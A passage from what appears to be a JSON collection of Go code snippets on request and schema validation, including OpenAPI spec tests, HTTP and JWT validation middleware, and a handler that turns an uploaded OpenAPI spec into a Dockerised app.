\\\"greeting\\\"\\n get:\\n operationId: showGreeting\\n responses:\\n 200:\\n description: \\\"Get a single greeting object\\\"\\n`,\\n\\t\\t\\terrors.New(\\\"value of openapi must be a non-empty JSON string\\\"),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\t\\\"when the Info property is not supplied\\\",\\n\\t\\t\\t`\\nopenapi: '1.0'\\npaths:\\n \\\"/api/v2/greetings.json\\\":\\n get:\\n operationId: listGreetings\\n responses:\\n 200:\\n description: \\\"List different greetings\\\"\\n \\\"/api/v2/greetings/{id}.json\\\":\\n parameters:\\n - name: id\\n in: path\\n required: true\\n schema:\\n type: string\\n example: \\\"greeting\\\"\\n get:\\n operationId: showGreeting\\n responses:\\n 200:\\n description: \\\"Get a single greeting object\\\"\\n`,\\n\\t\\t\\terrors.New(\\\"invalid info: must be a JSON object\\\"),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\t\\\"when the Paths property is not supplied\\\",\\n\\t\\t\\t`\\nopenapi: '1.0'\\ninfo:\\n title: \\\"Hello World REST APIs\\\"\\n version: \\\"1.0\\\"\\n`,\\n\\t\\t\\terrors.New(\\\"invalid paths: must be a JSON object\\\"),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\t\\\"when a valid spec is supplied\\\",\\n\\t\\t\\t`\\nopenapi: 3.0.2\\ninfo:\\n title: \\\"Hello World REST APIs\\\"\\n version: \\\"1.0\\\"\\npaths:\\n \\\"/api/v2/greetings.json\\\":\\n get:\\n operationId: listGreetings\\n responses:\\n 200:\\n description: \\\"List different greetings\\\"\\n \\\"/api/v2/greetings/{id}.json\\\":\\n parameters:\\n - name: id\\n in: path\\n required: true\\n schema:\\n type: string\\n example: \\\"greeting\\\"\\n get:\\n operationId: showGreeting\\n responses:\\n 200:\\n description: \\\"Get a single greeting object\\\"\\ncomponents:\\n schemas:\\n GreetingObject:\\n properties:\\n id:\\n type: string\\n type:\\n type: string\\n default: \\\"greeting\\\"\\n attributes:\\n properties:\\n description:\\n type: string\\n`,\\n\\t\\t\\tnil,\\n\\t\\t},\\n\\t}\\n\\n\\tfor _, test := range tests {\\n\\t\\tt.Run(test.name, func(t *testing.T) {\\n\\t\\t\\tdoc := &openapi3.Swagger{}\\n\\t\\t\\terr := yaml.Unmarshal([]byte(test.input), &doc)\\n\\t\\t\\trequire.NoError(t, err)\\n\\n\\t\\t\\tc := context.Background()\\n\\t\\t\\tvalidationErr := doc.Validate(c)\\n\\n\\t\\t\\trequire.Equal(t, test.expectedError, validationErr, \\\"expected errors (or lack of) to match\\\")\\n\\t\\t})\\n\\t}\\n}\",\n \"func OapiRequestValidatorWithOptions(swagger *openapi3.T, options *Options) fiber.Handler {\\n\\n\\trouter, err := gorillamux.NewRouter(swagger)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\treturn func(c *fiber.Ctx) error {\\n\\n\\t\\terr := ValidateRequestFromContext(c, router, options)\\n\\t\\tif err != nil {\\n\\t\\t\\tif options != nil && options.ErrorHandler != nil {\\n\\t\\t\\t\\toptions.ErrorHandler(c, err.Error(), http.StatusBadRequest)\\n\\t\\t\\t\\t// in case the handler didn't internally call Abort, stop the chain\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t// note: I am not sure if this is the best way to handle this\\n\\t\\t\\t\\treturn fiber.NewError(http.StatusBadRequest, err.Error())\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn c.Next()\\n\\t}\\n}\",\n \"func TestOpenAPIValidator_ValidateRequest(t *testing.T) {\\n\\thelper := test.New(t)\\n\\n\\torigin := httptest.NewServer(http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\\n\\t\\tct := req.Header.Get(\\\"Content-Type\\\")\\n\\t\\tif ct != \\\"\\\" {\\n\\t\\t\\tn, err := io.Copy(io.Discard, req.Body)\\n\\t\\t\\thelper.Must(err)\\n\\t\\t\\tif n == 0 {\\n\\t\\t\\t\\tt.Error(\\\"Expected body content\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif req.Header.Get(\\\"Content-Type\\\") == \\\"application/json\\\" {\\n\\t\\t\\trw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\t\\t_, err := rw.Write([]byte(`{\\\"id\\\": 123, \\\"name\\\": \\\"hans\\\"}`))\\n\\t\\t\\thelper.Must(err)\\n\\t\\t}\\n\\t}))\\n\\n\\tlog, hook := test.NewLogger()\\n\\tlogger := log.WithContext(context.Background())\\n\\tbeConf := &config.Backend{\\n\\t\\tRemain: body.New(&hcl.BodyContent{Attributes: hcl.Attributes{\\n\\t\\t\\t\\\"origin\\\": &hcl.Attribute{\\n\\t\\t\\t\\tName: \\\"origin\\\",\\n\\t\\t\\t\\tExpr: hcltest.MockExprLiteral(cty.StringVal(origin.URL)),\\n\\t\\t\\t},\\n\\t\\t}}),\\n\\t\\tOpenAPI: &config.OpenAPI{\\n\\t\\t\\tFile: filepath.Join(\\\"testdata/backend_01_openapi.yaml\\\"),\\n\\t\\t},\\n\\t}\\n\\topenAPI, err := validation.NewOpenAPIOptions(beConf.OpenAPI)\\n\\thelper.Must(err)\\n\\n\\tbackend := transport.NewBackend(beConf.Remain, &transport.Config{}, &transport.BackendOptions{\\n\\t\\tOpenAPI: openAPI,\\n\\t}, logger)\\n\\n\\ttests := []struct {\\n\\t\\tname, path string\\n\\t\\tbody io.Reader\\n\\t\\twantBody bool\\n\\t\\twantErrLog string\\n\\t}{\\n\\t\\t{\\\"GET without required query\\\", \\\"/a?b\\\", nil, false, \\\"backend validation error: Parameter 'b' in query has an error: must have a value: must have a value\\\"},\\n\\t\\t{\\\"GET with required query\\\", \\\"/a?b=value\\\", nil, false, \\\"\\\"},\\n\\t\\t{\\\"GET with required path\\\", \\\"/a/value\\\", nil, false, \\\"\\\"},\\n\\t\\t{\\\"GET with required path missing\\\", \\\"/a//\\\", nil, false, \\\"backend validation error: Parameter 'b' in query has an error: must have a value: must have a value\\\"},\\n\\t\\t{\\\"GET with optional query\\\", \\\"/b\\\", nil, false, \\\"\\\"},\\n\\t\\t{\\\"GET with optional path param\\\", \\\"/b/a\\\", nil, false, \\\"\\\"},\\n\\t\\t{\\\"GET with required json body\\\", \\\"/json\\\", strings.NewReader(`[\\\"hans\\\", \\\"wurst\\\"]`), true, \\\"\\\"},\\n\\t}\\n\\n\\tfor _, tt := range tests {\\n\\t\\tt.Run(tt.name, func(subT *testing.T) {\\n\\t\\t\\treq := httptest.NewRequest(http.MethodGet, tt.path, tt.body)\\n\\n\\t\\t\\tif tt.body != nil {\\n\\t\\t\\t\\treq.Header.Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\thook.Reset()\\n\\t\\t\\tvar res *http.Response\\n\\t\\t\\tres, err = backend.RoundTrip(req)\\n\\t\\t\\tif err != nil && tt.wantErrLog == \\\"\\\" {\\n\\t\\t\\t\\tsubT.Fatal(err)\\n\\t\\t\\t}\\n\\n\\t\\t\\tif tt.wantErrLog != \\\"\\\" {\\n\\t\\t\\t\\tentry := hook.LastEntry()\\n\\t\\t\\t\\tif entry.Message != tt.wantErrLog {\\n\\t\\t\\t\\t\\tsubT.Errorf(\\\"Expected error log:\\\\nwant:\\\\t%q\\\\ngot:\\\\t%s\\\", tt.wantErrLog, entry.Message)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif tt.wantBody {\\n\\t\\t\\t\\tvar n int64\\n\\t\\t\\t\\tn, err = io.Copy(io.Discard, res.Body)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tsubT.Error(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif n == 0 {\\n\\t\\t\\t\\t\\tsubT.Error(\\\"Expected a response body\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif subT.Failed() {\\n\\t\\t\\t\\tfor _, entry := range hook.AllEntries() {\\n\\t\\t\\t\\t\\tsubT.Log(entry.String())\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\\n}\",\n \"func NewValidationMiddleware(validatorHook string) buffalo.MiddlewareFunc {\\n\\tconst op errors.Op = \\\"actions.NewValidationMiddleware\\\"\\n\\n\\treturn func(next buffalo.Handler) buffalo.Handler {\\n\\t\\treturn func(c buffalo.Context) error {\\n\\t\\t\\tmod, err := paths.GetModule(c)\\n\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t// if there is no module the path we are hitting is not one related to modules, like /\\n\\t\\t\\t\\treturn next(c)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// not checking the error. Not all requests include a version\\n\\t\\t\\t// i.e. list requests path is like /{module:.+}/@v/list with no version parameter\\n\\t\\t\\tversion, _ := paths.GetVersion(c)\\n\\n\\t\\t\\tif version != \\\"\\\" {\\n\\t\\t\\t\\tvalid, err := validate(validatorHook, mod, version)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tentry := log.EntryFromContext(c)\\n\\t\\t\\t\\t\\tentry.SystemErr(err)\\n\\t\\t\\t\\t\\treturn c.Render(http.StatusInternalServerError, nil)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif !valid {\\n\\t\\t\\t\\t\\treturn c.Render(http.StatusForbidden, nil)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\treturn next(c)\\n\\t\\t}\\n\\t}\\n}\",\n \"func SchemaValidate(ctx context.Context, s fwschema.Schema, req ValidateSchemaRequest, resp *ValidateSchemaResponse) {\\n\\tfor name, attribute := range s.GetAttributes() {\\n\\n\\t\\tattributeReq := ValidateAttributeRequest{\\n\\t\\t\\tAttributePath: path.Root(name),\\n\\t\\t\\tAttributePathExpression: path.MatchRoot(name),\\n\\t\\t\\tConfig: req.Config,\\n\\t\\t}\\n\\t\\t// Instantiate a new response for each request to prevent validators\\n\\t\\t// from modifying or removing diagnostics.\\n\\t\\tattributeResp := &ValidateAttributeResponse{}\\n\\n\\t\\tAttributeValidate(ctx, attribute, attributeReq, attributeResp)\\n\\n\\t\\tresp.Diagnostics.Append(attributeResp.Diagnostics...)\\n\\t}\\n\\n\\tfor name, block := range s.GetBlocks() {\\n\\t\\tattributeReq := ValidateAttributeRequest{\\n\\t\\t\\tAttributePath: path.Root(name),\\n\\t\\t\\tAttributePathExpression: path.MatchRoot(name),\\n\\t\\t\\tConfig: req.Config,\\n\\t\\t}\\n\\t\\t// Instantiate a new response for each request to prevent validators\\n\\t\\t// from modifying or removing diagnostics.\\n\\t\\tattributeResp := &ValidateAttributeResponse{}\\n\\n\\t\\tBlockValidate(ctx, block, attributeReq, attributeResp)\\n\\n\\t\\tresp.Diagnostics.Append(attributeResp.Diagnostics...)\\n\\t}\\n\\n\\tif s.GetDeprecationMessage() != \\\"\\\" {\\n\\t\\tresp.Diagnostics.AddWarning(\\n\\t\\t\\t\\\"Deprecated\\\",\\n\\t\\t\\ts.GetDeprecationMessage(),\\n\\t\\t)\\n\\t}\\n}\",\n \"func (m middleware) Validate(_ gqlgen.ExecutableSchema) error {\\n\\treturn nil\\n}\",\n \"func ValidateMiddleware(next http.Handler) http.Handler {\\n\\tfn := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tvar token *jwt.Token\\n\\t\\ttoken, err := request.ParseFromRequestWithClaims(r, request.OAuth2Extractor, &authentication.Claim{}, func(token *jwt.Token) (interface{}, error) {\\n\\t\\t\\treturn authentication.PublicKey, nil\\n\\t\\t})\\n\\n\\t\\tif err != nil {\\n\\t\\t\\tresponse.HTTPError(w, r, http.StatusUnauthorized, err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tif !token.Valid {\\n\\t\\t\\tresponse.HTTPError(w, r, http.StatusUnauthorized, \\\"Invalid Token\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tid := token.Claims.(*authentication.Claim).ID\\n\\t\\tctx := context.WithValue(r.Context(), primitive.ObjectID{}, id)\\n\\t\\tnext.ServeHTTP(w, r.WithContext(ctx))\\n\\n\\t})\\n\\treturn fn\\n\\n}\",\n \"func (r HTTP) validate() error {\\n\\tif r.IsEmpty() {\\n\\t\\treturn nil\\n\\t}\\n\\t// we consider the fact that primary routing rule is mandatory before you write any additional routing rules.\\n\\tif err := r.Main.validate(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif r.Main.TargetContainer != nil && r.TargetContainerCamelCase != nil {\\n\\t\\treturn &errFieldMutualExclusive{\\n\\t\\t\\tfirstField: \\\"target_container\\\",\\n\\t\\t\\tsecondField: \\\"targetContainer\\\",\\n\\t\\t}\\n\\t}\\n\\n\\tfor idx, rule := range r.AdditionalRoutingRules {\\n\\t\\tif err := rule.validate(); err != nil {\\n\\t\\t\\treturn fmt.Errorf(`validate \\\"additional_rules[%d]\\\": %w`, idx, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func Validator() endpoint.Middleware {\\n\\treturn func(f endpoint.Endpoint) endpoint.Endpoint {\\n\\t\\treturn func(ctx context.Context, request interface{}) (response interface{}, err error) {\\n\\t\\t\\terr = validator.DefaultValidator()(request)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, &fazzkithttp.TransportError{\\n\\t\\t\\t\\t\\tErr: err,\\n\\t\\t\\t\\t\\tCode: http.StatusUnprocessableEntity,\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\treturn f(ctx, request)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (a API) Validate() error {\\n\\tvar err error\\n\\n\\tif a.port < 1 || a.port > 65535 {\\n\\t\\terr = multierr.Append(err,\\n\\t\\t\\terrors.New(\\\"port must be more than 1 and less than 65535\\\"),\\n\\t\\t)\\n\\t}\\n\\n\\tif !strings.HasPrefix(a.rootPath, \\\"/\\\") {\\n\\t\\terr = multierr.Append(err,\\n\\t\\t\\terrors.New(\\\"root path must start with /\\\"),\\n\\t\\t)\\n\\t}\\n\\n\\tif !strings.HasSuffix(a.rootPath, \\\"/\\\") {\\n\\t\\terr = multierr.Append(err,\\n\\t\\t\\terrors.New(\\\"root path must end with /\\\"),\\n\\t\\t)\\n\\t}\\n\\n\\tif len(strings.TrimSpace(a.traceHeader)) == 0 {\\n\\t\\terr = multierr.Append(err,\\n\\t\\t\\terrors.New(\\\"trace header must not be empty\\\"),\\n\\t\\t)\\n\\t}\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\troutesMap := make(map[string]MultipartFormDataRoute, len(a.multipartFormDataRoutes))\\n\\n\\tfor _, route := range a.multipartFormDataRoutes {\\n\\t\\tif route.Path == \\\"\\\" {\\n\\t\\t\\treturn errors.New(\\\"route with empty path cannot be registered\\\")\\n\\t\\t}\\n\\n\\t\\tif !strings.HasPrefix(route.Path, \\\"/\\\") {\\n\\t\\t\\treturn fmt.Errorf(\\\"route %s does not start with /\\\", route.Path)\\n\\t\\t}\\n\\n\\t\\tif route.Handler == nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"route %s has a nil handler\\\", route.Path)\\n\\t\\t}\\n\\n\\t\\tif _, ok := routesMap[route.Path]; ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"route %s is already registered\\\", route.Path)\\n\\t\\t}\\n\\n\\t\\troutesMap[route.Path] = route\\n\\t}\\n\\n\\tfor _, middleware := range a.externalMiddlewares {\\n\\t\\tif middleware.Handler == nil {\\n\\t\\t\\treturn errors.New(\\\"a middleware has a nil handler\\\")\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *SeaterController) Validate(sche string, document ...string) {\\n\\tvar doc string\\n\\tif len(document) > 0 {\\n\\t\\tdoc = document[0]\\n\\t} else {\\n\\t\\tdoc = string(c.Ctx.Input.RequestBody)\\n\\t\\tif len(doc) == 0 {\\n\\t\\t\\tc.BadRequestf(\\\"request body is empty\\\")\\n\\t\\t}\\n\\t}\\n\\t_, err := simplejson.NewJson([]byte(doc))\\n\\tif err != nil {\\n\\t\\tc.BadRequestf(\\\"invalid json format\\\")\\n\\t}\\n\\tresult, err := schema.Validate(sche, doc)\\n\\tif err != nil {\\n\\t\\tc.TraceServerError(errors.Annotatef(err, \\\"invalid schema\\\"))\\n\\t}\\n\\tif !result.Valid() {\\n\\t\\ts := \\\"invalid parameters:\\\\n\\\"\\n\\t\\tvar e interface{}\\n\\t\\tfor _, err := range result.Errors() {\\n\\t\\t\\ts += fmt.Sprintf(\\\"%s\\\\n\\\", err)\\n\\t\\t\\te = err\\n\\t\\t}\\n\\t\\tc.BadRequestf(\\\"%s\\\", e)\\n\\t}\\n}\",\n \"func verifySwagger(resp http.ResponseWriter, request *http.Request) {\\n\\tcors := handleCors(resp, request)\\n\\tif cors {\\n\\t\\treturn\\n\\t}\\n\\n\\tuser, err := handleApiAuthentication(resp, request)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Api authentication failed in verify swagger: %s\\\", err)\\n\\t\\tresp.WriteHeader(401)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false}`))\\n\\t\\treturn\\n\\t}\\n\\n\\tbody, err := ioutil.ReadAll(request.Body)\\n\\tif err != nil {\\n\\t\\tresp.WriteHeader(401)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed reading body\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\ttype Test struct {\\n\\t\\tEditing bool `datastore:\\\"editing\\\"`\\n\\t\\tId string `datastore:\\\"id\\\"`\\n\\t\\tImage string `datastore:\\\"image\\\"`\\n\\t}\\n\\n\\tvar test Test\\n\\terr = json.Unmarshal(body, &test)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed unmarshalling test: %s\\\", err)\\n\\t\\tresp.WriteHeader(401)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false}`))\\n\\t\\treturn\\n\\t}\\n\\n\\t// Get an identifier\\n\\thasher := md5.New()\\n\\thasher.Write(body)\\n\\tnewmd5 := hex.EncodeToString(hasher.Sum(nil))\\n\\tif test.Editing {\\n\\t\\t// Quick verification test\\n\\t\\tctx := context.Background()\\n\\t\\tapp, err := getApp(ctx, test.Id)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Printf(\\\"Error getting app when editing: %s\\\", app.Name)\\n\\t\\t\\tresp.WriteHeader(401)\\n\\t\\t\\tresp.Write([]byte(`{\\\"success\\\": false}`))\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// FIXME: Check whether it's in use.\\n\\t\\tif user.Id != app.Owner && user.Role != \\\"admin\\\" {\\n\\t\\t\\tlog.Printf(\\\"Wrong user (%s) for app %s when verifying swagger\\\", user.Username, app.Name)\\n\\t\\t\\tresp.WriteHeader(401)\\n\\t\\t\\tresp.Write([]byte(`{\\\"success\\\": false}`))\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tlog.Printf(\\\"EDITING APP WITH ID %s\\\", app.ID)\\n\\t\\tnewmd5 = app.ID\\n\\t}\\n\\n\\t// Generate new app integration (bump version)\\n\\t// Test = client side with fetch?\\n\\n\\tctx := context.Background()\\n\\t//client, err := storage.NewClient(ctx)\\n\\t//if err != nil {\\n\\t//\\tlog.Printf(\\\"Failed to create client (storage): %v\\\", err)\\n\\t//\\tresp.WriteHeader(401)\\n\\t//\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed creating client\\\"}`))\\n\\t//\\treturn\\n\\t//}\\n\\n\\tswagger, err := openapi3.NewSwaggerLoader().LoadSwaggerFromData(body)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Swagger validation error: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed verifying openapi\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\tif strings.Contains(swagger.Info.Title, \\\" \\\") {\\n\\t\\tstrings.Replace(swagger.Info.Title, \\\" \\\", \\\"\\\", -1)\\n\\t}\\n\\n\\tbasePath, err := buildStructure(swagger, newmd5)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed to build base structure: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed building baseline structure\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\tlog.Printf(\\\"Should generate yaml\\\")\\n\\tapi, pythonfunctions, err := generateYaml(swagger, newmd5)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed building and generating yaml: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed building and parsing yaml\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\tapi.Owner = user.Id\\n\\tif len(test.Image) > 0 {\\n\\t\\tapi.SmallImage = test.Image\\n\\t\\tapi.LargeImage = test.Image\\n\\t}\\n\\n\\terr = dumpApi(basePath, api)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed dumping yaml: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed dumping yaml\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\tidentifier := fmt.Sprintf(\\\"%s-%s\\\", swagger.Info.Title, newmd5)\\n\\tclassname := strings.Replace(identifier, \\\" \\\", \\\"\\\", -1)\\n\\tclassname = strings.Replace(classname, \\\"-\\\", \\\"\\\", -1)\\n\\tparsedCode, err := dumpPython(basePath, classname, swagger.Info.Version, pythonfunctions)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed dumping python: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed dumping appcode\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\tidentifier = strings.Replace(identifier, \\\" \\\", \\\"-\\\", -1)\\n\\tidentifier = strings.Replace(identifier, \\\"_\\\", \\\"-\\\", -1)\\n\\tlog.Printf(\\\"Successfully uploaded %s to bucket. Proceeding to cloud function\\\", identifier)\\n\\n\\t// Now that the baseline is setup, we need to make it into a cloud function\\n\\t// 1. Upload the API to datastore for use\\n\\t// 2. Get code from baseline/app_base.py & baseline/static_baseline.py\\n\\t// 3. Stitch code together from these two + our new app\\n\\t// 4. Zip the folder to cloud storage\\n\\t// 5. Upload as cloud function\\n\\n\\t// 1. Upload the API to datastore\\n\\terr = deployAppToDatastore(ctx, api)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed adding app to db: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed adding app to db\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\t// 2. Get all the required code\\n\\tappbase, staticBaseline, err := getAppbase()\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed getting appbase: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed getting appbase code\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\t// Have to do some quick checks of the python code (:\\n\\t_, parsedCode = formatAppfile(parsedCode)\\n\\n\\tfixedAppbase := fixAppbase(appbase)\\n\\trunner := getRunner(classname)\\n\\n\\t// 2. Put it together\\n\\tstitched := string(staticBaseline) + strings.Join(fixedAppbase, \\\"\\\\n\\\") + parsedCode + string(runner)\\n\\t//log.Println(stitched)\\n\\n\\t// 3. Zip and stream it directly in the directory\\n\\t_, err = streamZipdata(ctx, identifier, stitched, \\\"requests\\\\nurllib3\\\")\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Zipfile error: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed to build zipfile\\\"}`))\\n\\t\\treturn\\n\\t}\\n\\n\\tlog.Printf(\\\"Successfully uploaded ZIPFILE for %s\\\", identifier)\\n\\n\\t// 4. Upload as cloud function - this apikey is specifically for cloud functions rofl\\n\\t//environmentVariables := map[string]string{\\n\\t//\\t\\\"FUNCTION_APIKEY\\\": apikey,\\n\\t//}\\n\\n\\t//fullLocation := fmt.Sprintf(\\\"gs://%s/%s\\\", bucketName, applocation)\\n\\t//err = deployCloudFunctionPython(ctx, identifier, defaultLocation, fullLocation, environmentVariables)\\n\\t//if err != nil {\\n\\t//\\tlog.Printf(\\\"Error uploading cloud function: %s\\\", err)\\n\\t//\\tresp.WriteHeader(500)\\n\\t//\\tresp.Write([]byte(`{\\\"success\\\": false, \\\"reason\\\": \\\"Failed to upload function\\\"}`))\\n\\t//\\treturn\\n\\t//}\\n\\n\\t// 4. Build the image locally.\\n\\t// FIXME: Should be moved to a local docker registry\\n\\tdockerLocation := fmt.Sprintf(\\\"%s/Dockerfile\\\", basePath)\\n\\tlog.Printf(\\\"Dockerfile: %s\\\", dockerLocation)\\n\\n\\tversionName := fmt.Sprintf(\\\"%s_%s\\\", strings.ReplaceAll(api.Name, \\\" \\\", \\\"-\\\"), api.AppVersion)\\n\\tdockerTags := []string{\\n\\t\\tfmt.Sprintf(\\\"%s:%s\\\", baseDockerName, identifier),\\n\\t\\tfmt.Sprintf(\\\"%s:%s\\\", baseDockerName, versionName),\\n\\t}\\n\\n\\terr = buildImage(dockerTags, dockerLocation)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Docker build error: %s\\\", err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(fmt.Sprintf(`{\\\"success\\\": true, \\\"reason\\\": \\\"Error in Docker build\\\"}`)))\\n\\t\\treturn\\n\\t}\\n\\n\\tfound := false\\n\\tfoundNumber := 0\\n\\tlog.Printf(\\\"Checking for api with ID %s\\\", newmd5)\\n\\tfor appCounter, app := range user.PrivateApps {\\n\\t\\tif app.ID == api.ID {\\n\\t\\t\\tfound = true\\n\\t\\t\\tfoundNumber = appCounter\\n\\t\\t\\tbreak\\n\\t\\t} else if app.Name == api.Name && app.AppVersion == api.AppVersion {\\n\\t\\t\\tfound = true\\n\\t\\t\\tfoundNumber = appCounter\\n\\t\\t\\tbreak\\n\\t\\t} else if app.PrivateID == test.Id && test.Editing {\\n\\t\\t\\tfound = true\\n\\t\\t\\tfoundNumber = appCounter\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\t// Updating the user with the new app so that it can easily be retrieved\\n\\tif !found {\\n\\t\\tuser.PrivateApps = append(user.PrivateApps, api)\\n\\t} else {\\n\\t\\tuser.PrivateApps[foundNumber] = api\\n\\t}\\n\\n\\terr = setUser(ctx, &user)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed adding verification for user %s: %s\\\", user.Username, err)\\n\\t\\tresp.WriteHeader(500)\\n\\t\\tresp.Write([]byte(fmt.Sprintf(`{\\\"success\\\": true, \\\"reason\\\": \\\"Failed updating user\\\"}`)))\\n\\t\\treturn\\n\\t}\\n\\n\\tlog.Println(len(user.PrivateApps))\\n\\tc, err := request.Cookie(\\\"session_token\\\")\\n\\tif err == nil {\\n\\t\\tlog.Printf(\\\"Should've deleted cache for %s with token %s\\\", user.Username, c.Value)\\n\\t\\t//err = memcache.Delete(request.Context(), c.Value)\\n\\t\\t//err = memcache.Delete(request.Context(), user.ApiKey)\\n\\t}\\n\\n\\tparsed := ParsedOpenApi{\\n\\t\\tID: api.ID,\\n\\t\\tBody: string(body),\\n\\t}\\n\\n\\tsetOpenApiDatastore(ctx, api.ID, parsed)\\n\\terr = increaseStatisticsField(ctx, \\\"total_apps_created\\\", api.ID, 1)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed to increase success execution stats: %s\\\", err)\\n\\t}\\n\\n\\terr = increaseStatisticsField(ctx, \\\"openapi_apps_created\\\", api.ID, 1)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Failed to increase success execution stats: %s\\\", err)\\n\\t}\\n\\n\\tresp.WriteHeader(200)\\n\\tresp.Write([]byte(`{\\\"success\\\": true}`))\\n}\",\n \"func AddValidation(srv service.Service) error {\\n\\tvalidator := Validate(parser.Parse)\\n\\n\\tsrv.Register(endpoint.NewValidation(\\\"v1/validate\\\", validator))\\n\\treturn nil\\n}\",\n \"func OapiValidatorFromYamlFile(path string) (fiber.Handler, error) {\\n\\n\\tdata, err := os.ReadFile(path)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error reading %s: %s\\\", path, err)\\n\\t}\\n\\n\\tswagger, err := openapi3.NewLoader().LoadFromData(data)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error parsing %s as Swagger YAML: %s\\\",\\n\\t\\t\\tpath, err)\\n\\t}\\n\\n\\treturn OapiRequestValidator(swagger), nil\\n}\",\n \"func (s *SwaggerSchema) Validate(obj *unstructured.Unstructured) []error {\\n\\tif obj.IsList() {\\n\\t\\treturn s.validateList(obj.UnstructuredContent())\\n\\t}\\n\\tgvk := obj.GroupVersionKind()\\n\\treturn s.ValidateObject(obj.UnstructuredContent(), \\\"\\\", fmt.Sprintf(\\\"%s.%s\\\", gvk.Version, gvk.Kind))\\n}\",\n \"func ValidationMiddleware() func(Service) Service {\\n\\treturn func(next Service) 